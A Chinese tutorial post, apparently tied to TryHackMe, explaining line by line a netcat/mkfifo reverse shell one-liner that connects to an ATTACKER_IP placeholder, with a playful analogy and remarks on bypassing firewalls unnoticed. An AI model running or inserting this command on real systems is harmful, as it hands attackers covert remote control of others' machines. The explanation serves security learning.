当前位置: 首页 > news >正文

tryhackme 之反弹 shell 理解

在这里插入图片描述

好的,同学,我们来看一下这张图里的这串“咒语”。

别看它长得奇奇怪怪,这其实是咱们“道上”一种非常经典且巧妙的技巧,叫做**“反弹shell” (Reverse Shell)**。

这串命令就是一条“秘密情报专线”。它的目的是在目标电脑(我们称之为“肉鸡”)上打开一个后门,让这台电脑主动来连接我们,然后我们就可以在自己家里舒舒服服地远程操控它了。

咱们还是用生活中合理的比喻,把它拆开揉碎了讲。


核心比喻:建立一个“秘密邮局”

想象一下,你想和肉鸡内部的一个“内应”(Shell,也就是命令解释器)建立长期联系,让他帮你干活。但肉鸡的“大门”(防火墙)看得非常严,你主动送信(建立连接)过去,很容易被门卫拦下。

怎么办呢?聪明的办法是,让“内应”主动把信送出来给你。

这串命令,就是在肉鸡家里建立一个临时的“秘密邮局”,来完成这个任务。

命令原文:
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i 2>&1 | nc ATTACKER_IP ATTACKER_PORT >/tmp/f

我们来一步一步看这个“邮局”是怎么建成的:

第一步:选址和清理

rm -f /tmp/f

  • 命令解释: rm 是删除文件,-f 是强制执行。这句的意思是,强制删除掉 /tmp/f 这个文件(如果它存在的话)。
  • 生活比喻: 在建立我们的秘密邮局之前,先去 /tmp 这个“公共广场”上,找到代号为 f 的位置。如果这个位置已经被别人占了(有了一个叫 f 的文件),咱就把它先强行清理掉,确保这块地是干净的,归我们用。
第二步:建造“邮筒”

mkfifo /tmp/f

  • 命令解释: mkfifo 是创建一个“命名管道”(Named Pipe)。这是一种非常特殊的文件。
  • 生活比喻: 在清理干净的 f 位置上,我们不盖房子,而是放一个特制的“邮筒”(命名管道)。这个邮筒很神奇,它有两个口,一个“收信口”和一个“出信口”。从“收信口”投进去的信,会立刻从“出信口”出来。它本身不存信,只是一个即时通道。
第三步:安排“收信员”和“执行官”

cat /tmp/f | sh -i 2>&1

这部分由两个命令通过一个管道符 | 连接,我们分开看:

  1. cat /tmp/f:

    • 命令解释: cat 命令在这里的作用是读取我们那个神奇邮筒 /tmp/f 的内容。
    • 生活比喻: 我们安排了一个叫 cat 的“收信员”。他啥也不干,就死死地守在邮筒的“出信口”,一旦有信出来,他立刻就拿起来读。
  2. | sh -i 2>&1:

    • 命令解释: | (管道符) 的作用是把左边命令的输出,作为右边命令的输入。sh -i 是启动一个可交互的 Shell (命令解释器)。2>&1 是个小技巧,意思是把错误信息和正确信息合并到一起输出。
    • 生活比喻: “收信员”cat 拿到信之后,通过 | 这个内部通道,立刻把信的内容(也就是我们攻击者发来的指令)递给了旁边一位叫 sh 的“执行官”。这位执行官非常厉害,能在电脑里执行任何命令。而且他很严谨,不管是执行成功的结果,还是执行失败的报错信息 (2>&1),他都会记录下来,准备汇报。
第四步:建立“对外联络热线”

| nc ATTACKER_IP ATTACKER_PORT

  • 命令解释: 这里的 | 再次发挥作用。“执行官”sh 的所有输出(执行结果),都被送给了 nc (Netcat) 命令。nc 在这里的作用是连接到攻击者的IP (ATTACKER_IP) 和指定端口 (ATTACKER_PORT)。
  • 生活比喻: “执行官”把处理结果,交给了一位叫 nc 的“通讯兵”。这位通讯兵有一部“专线电话”,能直接拨通我们攻击者在家里准备好的接听电话 (ATTACKER_IPATTACKER_PORT),然后把结果一字不差地汇报给我们。
第五步:形成完美闭环(最精髓的一步!)

>/tmp/f

  • 命令解释: > 是重定向符,它把左边命令(也就是 nc)的输入,写入到右边的文件里。
  • 生活比喻: 这是整个情报系统最妙的地方!“通讯兵”nc 不仅负责汇报结果,他还负责接听我们攻击者从电话那头下达的新指令。而他接到的新指令,会直接被他扔进我们之前建好的那个神奇“邮筒” /tmp/f 的“收信口”。

总结一下整个流程:

  1. 我们在肉鸡上建好了一个叫 /tmp/f 的神奇邮筒。
  2. 我们(攻击者)在自己电脑上通过 nc 下达第一条指令,比如 ls -l(列出文件)。
  3. 这条指令通过“专线电话”传给肉鸡上的“通讯兵”nc
  4. “通讯兵”nc 把指令 ls -l 扔进“邮筒” /tmp/f
  5. “收信员”cat 立刻从邮筒另一头拿到指令,递给“执行官”sh
  6. “执行官”sh 执行 ls -l,得到文件列表。
  7. “执行官”sh 把文件列表这个结果,交给“通讯兵”nc
  8. “通讯兵”nc 通过“专线电话”把文件列表汇报给我们。

看到了吗?这就形成了一个完美的闭环。我们不断地下达指令,它不断地执行并返回结果。我们就这样神不知鬼不觉地拥有了这台电脑的完整控制权。

因为整个连接是肉鸡主动发起的(反弹),所以能很大概率地绕过防火墙的限制。这就是它高明的地方。

希望这个“秘密邮局”的比喻能帮你理解这串命令的精髓。

相关文章:

  • 量子加速器切入 AI 底层架构!能源焦虑时代,ORCA 正在改写数据中心的计算逻辑
  • Debian/Ubuntu systemd coredump调试程序Crash
  • 基于ElasticSearch的法律法规检索系统架构实践
  • 基于鸿蒙 HarmonyOS 5 打车小程序案例
  • jupyter中的checkpoints为空/打不开解决办法
  • Vue 事件绑定机制详解
  • 代理模式:AOP 切面编程的底层实现基础
  • 7.路由汇聚及更新
  • 6月11日day51打卡
  • 大三自学笔记:探索Hyperlane框架的心路历程
  • 2025低空经济区的安全与应急控制专题研讨会(SECOLZ 2025)
  • Linux5.10内核stmmac驱动框架深度解析
  • 纯血Harmony NETX 5小游戏实践:电子木鱼(附源文件)
  • 极线约束理解
  • Unity基础-Resources资源动态加载
  • MySQL 8.0 OCP 英文题库解析(十七)
  • 以 OCP 认证培训为翼,翱翔数据库广阔天空
  • MySQL 8.0 OCP 英文题库解析(十六)
  • Wyn 商业智能与 3D 大屏的深度融合应用
  • 【从零开始学习JVM | 第六篇】运行时数据区
  • 宁波住房建设网站/软文广告怎么写
  • 最好用的素材网站/灰色行业推广平台
  • 建筑网站设计/高端营销型网站建设
  • 如何把做的网站与域名连接/三一crm手机客户端下载
  • 网站开发应该怎么做/网络营销的策划流程
  • 做视频网站的备案要求/免费b站推广网站不